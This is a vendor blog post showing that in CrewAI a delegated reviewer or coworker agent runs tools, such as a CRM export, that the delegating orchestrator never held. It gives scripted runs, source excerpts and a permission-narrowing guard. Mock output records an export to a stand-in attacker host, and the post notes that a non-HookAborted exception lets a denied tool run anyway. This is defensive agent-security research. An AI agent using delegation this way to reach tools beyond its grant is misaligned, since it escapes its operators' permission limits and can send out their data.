attenu

Blog · · by , Attenu

I delegated a review in CrewAI. The reviewer ran an export tool the orchestrator never had.

On crewai 1.15.18 I gave a CrewAI orchestrator one tool, crm_query, and allow_delegation=True. I gave a reviewer coworker two, crm_query and crm_export. The orchestrator delegated the review of a Q3 summary. Both tool bodies ran, and the export body ran with https://evil.example/drop as its destination. The export tool is a mock that records the call, so nothing left the machine. Python 3.12, a scripted LLM, no API key, 2026-09-03.

That run is reviewer.py. Its output:

RUN 5  Orchestrator delegates a REVIEW to `reviewer`, which declares crm_export
  ...
  parent tool set    ['crm_query', 'delegate_work_to_coworker', 'ask_question_to_coworker']
  reviewer tool set  ['crm_query', 'crm_export']
  reviewer ran crm_export -- a tool the parent does NOT hold? True

The reviewer-agent pattern is a common one. A second agent checks the first agent's work before it proceeds. A reviewer is a coworker like any other, so it runs its own declared tool list, and nothing in the delegation path compares that list with the delegating agent's.

What does a CrewAI coworker actually get?

Five more runs, in baseline.py, no guard installed. The four that start a crew print which tool bodies executed, so the answer does not depend on reading the model's text.

Run Setup Result
1 orchestrator holds crm_query, tries crm_export itself no body ran
2 delegates to exporter, which declares crm_export crm_export body ran, destination https://evil.example/drop
3 delegates to assistant, which declares no tools nothing ran; the coworker did not inherit crm_query
4 hierarchical: a tool-less manager, a worker with crm_export crm_export body ran
4b hierarchical: a manager that declares one tool Exception: Manager agent should not have tools
RUN 2  Orchestrator delegates to `exporter`, which declares crm_export
  ...
  parent tool set   ['crm_query', 'delegate_work_to_coworker', 'ask_question_to_coworker']
  child tool set    ['crm_query', 'crm_export']
  child ran crm_export -- a tool the parent does NOT hold? True

RUN 4  Hierarchical process: a manager that is FORBIDDEN to hold tools
  ...
  manager tool set  ['delegate_work_to_coworker', 'ask_question_to_coworker']
  worker tool set   ['crm_query', 'crm_export']
  worker ran crm_export under a tool-less manager? True

Run 3 is the part of this that looks reassuring. A coworker does not inherit its parent's tools, so delegation looks narrowing. Run 2 shows the other direction is open. The coworker runs whatever it declares, and the delegating agent is not a term in that decision.

Where in CrewAI's own code does this happen?

Crew._create_manager_agent logs a warning, clears the manager's tools, and raises (crewai/crew.py:1522-1529 on 1.15.18):

            if manager.tools is not None and len(manager.tools) > 0:
                self._logger.log(
                    "warning",
                    "Manager agent should not have tools",
                    color="bold_yellow",
                )
                manager.tools = []
                raise Exception("Manager agent should not have tools")

On the delegation path, BaseAgentTool resolves the coworker by exact match on the model's output after casefolding and whitespace normalization, builds a Task for it, and calls selected_agent.execute_task(...). The selected agent executes with its own tools list. There is no step in between that relates the two sets.

The hierarchical process page tells you to "Assign tools at the agent level to facilitate task delegation and execution by the designated agents under the manager's guidance." The same page adds that tools can also be set at the task level. That lever does not reach a delegate: the delegation tool builds the Task itself, with no tools, so the coworker falls back to its own agent-level list.

Two upstream threads touch the neighbouring question. Allow delegation to specific agents only was closed as not planned. The allowed_agents pull request was closed without merging. Both are about which agent may be delegated to. Neither is about what the delegate may then do. The thread that is, a governance middleware hook for tool call authorization, is open with 121 comments.

What does it take to bound the coworker instead?

The delegation moment in CrewAI is a tool call, Delegate work to coworker, so it is a place you can stand. The recipe mints the coworker's authority there, as a child of the orchestrator's, and checks every later tool call at register_before_tool_call_hook, before the tool body. Code that reaches a side effect without going through a CrewAI tool call is outside that path.

A second script, same shape, bridge installed. The coworker here is called summarizer. Its output across four sections, with the Authority(...) wrapper and the ceiling dicts flattened for width:

  orchestrator  scopes=['crm.*', 'mail.send']  max_rows=100000  ttl=3600
  greedy grant  requested scopes=['crm.*','mail.send','payments.transfer'], max_rows=10000000, ttl=999999
  granted       scopes=['crm.*','mail.send'], max_rows=100000, ttl=3600

  DENIED  summarizer/crm_export: scope_not_granted requested=crm.export ... held scopes ['crm.read']
  DENIED  summarizer/crm_query:  revoked: node has been revoked

  10 events, hash chain: True
  attenu-guard verify evidence-bundle.json --pubkey <the key this run printed>
  integrity=True monotonicity=True containment=True anchor=verified nodes=3 actions_checked=1

A greedy grant comes back exactly as wide as the parent, never wider. The first denial revokes the coworker, so its next call, a read that was legal a moment earlier, is denied too. The run leaves a signed bundle that a reviewer checks with the public key alone, without this process and without any service of mine.

One CrewAI detail cost me an afternoon. A denial has to be raised as crewai.hooks.HookAborted. The dispatcher swallows every other exception and the tool runs anyway.

The same script uninstalls the bridge and runs the identical crew again, so the difference is visible in one output rather than asserted:

  6. BASELINE: the same crew, bridge uninstalled
  ...
  tool bodies that actually executed:
    RAN     crm_query(rows=4200)
    RAN     crm_export(destination=<https://evil.example/drop>)
    RAN     crm_query(rows=10)

How do you run this yourself?

python3 -m venv v && . v/bin/activate
pip install 'attenu-guard[crewai]'
git clone <https://github.com/attenu-io/attenu-guard> && cd attenu-guard
python examples/baselines/crewai/baseline.py     # the five runs above, no guard
python examples/baselines/crewai/reviewer.py     # the reviewer variant
python examples/integrations/crewai/demo.py      # narrowed, denied, revoked, verified

The same question asked of five frameworks, with the runs: does a sub-agent inherit its parent's permissions.

Verified against crewai 1.15.18 and attenu-guard 0.12.1 on 2026-09-03; the baseline output is byte-identical to the 1.15.16 run of 2026-09-02 except the date and version lines. Runs: examples/baselines/crewai/ · recipe and tests: [examples/integrations/crewai/](https://github.com/attenu-io/attenu-guard/tree/main/examples/integrations/crewai)

Rafael Asor is the founder of Attenu and the maintainer of attenu-guard and attenu-derive, open-source Python libraries for AI agent permissions across sub-agent handoffs. He is the author of the IETF Internet-Draft draft-asor-wimse-agent-delegation-chain and is based in Tel Aviv.